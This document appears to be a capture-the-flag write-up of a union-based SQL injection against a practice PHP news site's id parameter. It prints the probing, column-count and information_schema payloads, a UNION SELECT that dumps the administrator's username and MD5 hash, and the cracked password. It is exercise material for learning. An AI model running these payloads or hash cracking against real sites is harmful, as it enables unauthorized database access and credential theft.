

INFO:

Found site used id parameter and page numbers.

Site Opened!

Wow! What an accomplishment this site was! The site finally moved into the future with dynamic pages. I even turned on safe_mode so we're safe from hackers for sure!

- Site Opened!
- Update (for me at least).
- Almost!
- User Login

Process of Solving:

`index.php?id=5 union select 1,username,password` from users added to URL

administrator

6537d34fd1c080b5cb7f06dde3a26fe8

- Site Opened!
- Update (for me at least).
- Almost!
- User Login

then cracked hash with crackstation

6537d34fd1c080b5cb7f06dde3a26fe8 = **bl1nd**

Writeup:

in the browser URL append `index.php?id=1` with a ' to read

`index.php?id=1'`

Could not successfully run query (SELECT * FROM `news` WHERE `id` = 1') from DB: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " at line 1 we have a vulnerability time to use some SQL

`ORDER BY 1,2,3`

`5 union select 1,2,3`

Find a some names of tables:

`UNION ALL SELECT 1,2,group_concat(table_name),3 from information_schema.tables where table_schema=database()`

Looking at the information_schema table is forbidden; however, if we did allow you, you could have found the tablename users

USE THIS INJECTION

`index.php?id=5 union select 1,username,password from users`
